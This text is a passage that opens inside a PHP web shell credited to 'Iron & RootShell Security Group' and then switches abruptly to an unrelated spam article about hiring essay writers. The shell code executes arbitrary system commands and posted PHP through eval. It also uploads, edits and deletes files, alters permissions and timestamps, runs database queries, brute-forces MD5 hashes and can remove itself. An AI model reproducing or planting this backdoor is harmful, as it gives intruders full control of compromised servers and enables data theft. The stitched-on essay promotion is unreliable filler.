'Execute Command', 'eval' => 'Evaluate PHP', 'mysql' => 'MySQL Query', 'chmod' => 'Chmod File', 'phpinfo' => 'PHPinfo', 'md5' => 'md5 cracker', 'headers' => 'Show headers', 'suicide' => 'Suicide', 'logout' => 'Log out' ); //The header, like it? $header = ' '.getenv("HTTP_HOST").' ~ Shell I
'; print $header; $footer = '

© Iron & RootShell Security Group
'; // //Page handling // if(isset($_REQUEST['p'])) { switch ($_REQUEST['p']) { case 'cmd': //Run command print "
"; if(isset($_REQUEST['command'])) { print "
				execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?

		case 'edit': //Edit a fie
				$f = $_GET['file'];
				$fh = fopen($f, 'w') or print "Error while opening file!";
				fwrite($fh, htmlspecialchars_decode($_POST['editform'], ENT_QUOTES)) or print "Couldn't save file!";
			print "Editing file ".$_GET['file']." (".perm($_GET['file']).")

"; break; case 'delete': //Delete a file if(isset($_POST['yes'])) { if(unlink($_GET['file'])) { print "File deleted successfully."; } else { print "Couldn't delete file."; } } if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes'])) { print "Are you sure you want to delete ".$_GET['file']."?
"; } break; case 'eval': //Evaluate PHP code print "
"; if(isset($_POST['eval'])) { print "


"; print "
"; eval($_POST['eval']); } break; case 'chmod': //Chmod file print "

Under construction!

"; if(isset($_POST['chmod'])) { switch ($_POST['chvalue']){ case 777: chmod($_POST['chmod'],0777); break; case 644: chmod($_POST['chmod'],0644); break; case 755: chmod($_POST['chmod'],0755); break; } print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue']."."; } if(isset($_GET['file'])) { $content = urldecode($_GET['file']); } else { $content = "file/path/please"; } print "
File to chmod:
New permission: "; break; case 'chdate': //Change Date file print "

Under construction!

"; if(isset($_POST['chdate'])) { /*switch ($_POST['cdvalue']){ case 777: chmod($_POST['chmod'],0777); break; case 644: chmod($_POST['chmod'],0644); break; case 755: chmod($_POST['chmod'],0755); break; } */ $content = strtotime($_POST['cdvalue']); touch ($_POST['chdate'], $content, $content); print "Changed date on ".$_POST['cdate']." to ".$_POST['cdvalue']."."; } $content=''; $filename=''; if(isset($_GET['file'])) { $filename = urldecode($_GET['file']); $content = date ("Y/m/d, H:i:s", filemtime($_GET['file'])); } else { $filename = "file/path/please"; } print "File to change Date:
New date:
"; break; case 'mysql': //MySQL Query if(isset($_POST['host'])) { $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error()); mysql_select_db($_POST['dbase']); $sql = $_POST['query']; $result = mysql_query($sql); } else { print " This only queries the database, doesn't return data!




"; } break; case 'createdir': if(mkdir($_GET['crdir'])) { print 'Directory created successfully.'; } else { print 'Couldn\'t create directory'; } break; case 'phpinfo': //PHP Info phpinfo(); break; case 'rename': if(isset($_POST['fileold'])) { if(rename($_POST['fileold'],$_POST['filenew'])) { print "File renamed."; } else { print "Couldn't rename file."; } } if(isset($_GET['file'])) { $file = basename(htmlspecialchars($_GET['file'])); } else { $file = ""; } print "Renaming ".$file." in folder ".realpath('.').".


"; break; case 'suicide': //Suicide this shell print "
suicide this shell? "; if(isset($_REQUEST['command'])) { unlink($me); } break; case 'md5': if(isset($_POST['md5'])) { if(!is_numeric($_POST['timelimit'])) { $_POST['timelimit'] = 30; } set_time_limit($_POST['timelimit']); if(strlen($_POST['md5']) == 32) { if($_POST['chars'] == "9999") { $i = 0; while($_POST['md5'] != md5($i) && $i != 100000) { $i++; } } else { for($i = "a"; $i != "zzzzz"; $i++) { if(md5($i == $_POST['md5'])) { break; } } } if(md5($i) == $_POST['md5']) { print "

Plaintext of ". $_POST['md5']. " is ".$i."

"; } } } print "Will bruteforce the md5 md5 to crack:

Max. cracking time*:

*: if set_time_limit is allowed by php.ini"; break; case 'headers': foreach(getallheaders() as $header => $value) { print htmlspecialchars($header . ":" . $value)."
"; } break; } } else //Default page that will be shown when the page isn't found or no page is selected. { $files = array(); $directories = array(); if(isset($_FILES['uploadedfile']['name'])) { $target_path = realpath('.').'/'; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { print "File:". basename( $_FILES['uploadedfile']['name']). " has been uploaded"; } else{ echo "File upload failed!"; } } print ""; if ($handle = opendir('.')) { while (false !== ($file = readdir($handle))) { if(is_dir($file)) { $directories[] = $file; } else { $files[] = $file; } } asort($directories); asort($files); foreach($directories as $file) { print ""; } foreach($files as $file) { print ""; } } else { print "Error! Can't open ".realpath('.')."!
"; } print "
OptionsFilenameSizePermissionsLast modified
[R][D]".$file."".perm($file)."".date ("Y/m/d, H:i:s", filemtime($file))."
[R][D]".$file."".filesize($file)."".perm($file)."".date ("Y/m/d, H:i:s", filemtime($file))."

Upload file
Change Directory
Create file
Create directory
"; } function login() { print "
"; } function reload() { header("Location: ".basename(__FILE__)); } function get_execution_method() { if(function_exists('passthru')){ $m = "passthru"; } if(function_exists('exec')){ $m = "exec"; } if(function_exists('shell_exec')){ $m = "shell_ exec"; } if(function_exists('system')){ $m = "system"; } if(!isset($m)) //No method found :-| { $m = "Disabled"; } return($m); } function execute_command($method,$command) { if($method == "passthru") { passthru($command); } elseif($method == "exec") { exec($command,$result); foreach($result as $output) { print $output."
"; } } elseif($method == "shell_exec") { print shell_exec($command); } elseif($method == "system") { system($command); } } function perm($file) { if(file_exists($file)) { return substr(sprintf('%o', fileperms($file)), -4); } else { return "????"; } } function get_color($file) { if(is_writable($file)) { return "green";} if(!is_writable($file) && is_readable($file)) { return "white";} if(!is_writable($file) && !is_readable($file)) { return "red";} } function show_dirs($where) { if(ereg("^c:",realpath($where))) { $dirparts = explode('\\',realpath($where)); } else { $dirparts = explode('/',realpath($where)); } $i = 0; $total = ""; foreach($dirparts as $part) { $p = 0; $pre = ""; while($p != $i) { $pre .= $dirparts[$p]."/"; $p++; } $total .= "".$part."/"; $i++; } return "


"; } print $footer; // Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-) exit(); ?>

Essay Writers: How to Locate the Very Best Writers For Your Essay

Most individuals believe that writing a composition is a tiresome job. It’s not required to work really labessay hard and spend as much time on it if you are in a position to discover trusted essay writers. You will find online and local freelance essay writers accessible to deal with all of your needs. You can be rest assured they have your welfare in mind because they won’t just look at the level of your job but also the style and structure where you want to exhibit it.

All of us know how hard it’s to write a personal essay. But, writing a thesis paper or an academic essay is an entirely other issue. This is why more people prefer hiring essay authors rather than doing it by themselves.

If you are able to come up with a fantastic idea to get a personal essay, then there’s absolutely no reason why you need to not employ a professional writer to do the task for you. Even if the task appears to be pretty easy, you should remember that you should not compromise on style or quality. These are definitely the most crucial aspects that ensure that your essay turns out right.

To be able to find good essay writers, the first thing you have to do is find out where they are sometimes found. A fantastic place to begin your search will be online. You’ll have to put in a lot of effort to locate the best writers locally. The majority of the time, the very best writers are in major cities such as New York, Los Angeles, Chicago, and San Francisco.

In addition, these writers are in a large number of unique fields. This usually means that you can find a writer who specializes in literary criticism, creative writing, and even business writing. That is why finding a composition writer that will be suitable for your requirements may be a small bit of a challenge.

If you know what sort of essay you wish to write, you may examine the websites of the most famous and specialist writers in your region. These authors offer writing services that help you decide on the type of essay that you want to write. Most authors make certain they can supply you with an excellent subject for your essay. The authors have experience on unique subjects such as relationship, marriage, parenting, love, gender, faith, and offense.

Also, you should make an effort and examine their samples to determine if they have a fantastic reputation in their area. Most authors have a reputation of being effective and dependable when it comes to supplying quality service. Another factor that you should remember is that you shouldn’t compromise on the degree of your writing abilities. If you would like to impress your visitors, then you will need to generate a quality essay.

It is also possible to inquire in your local high schools or junior colleges to see whether they have got any authors in their own employ. You can also check the Internet to find the most credible and reliable authors. The top writers will always have a history of being great and having great outcomes. Sothe very best way to locate essay writers would be to ask your friends, friends from school, as well as older relatives .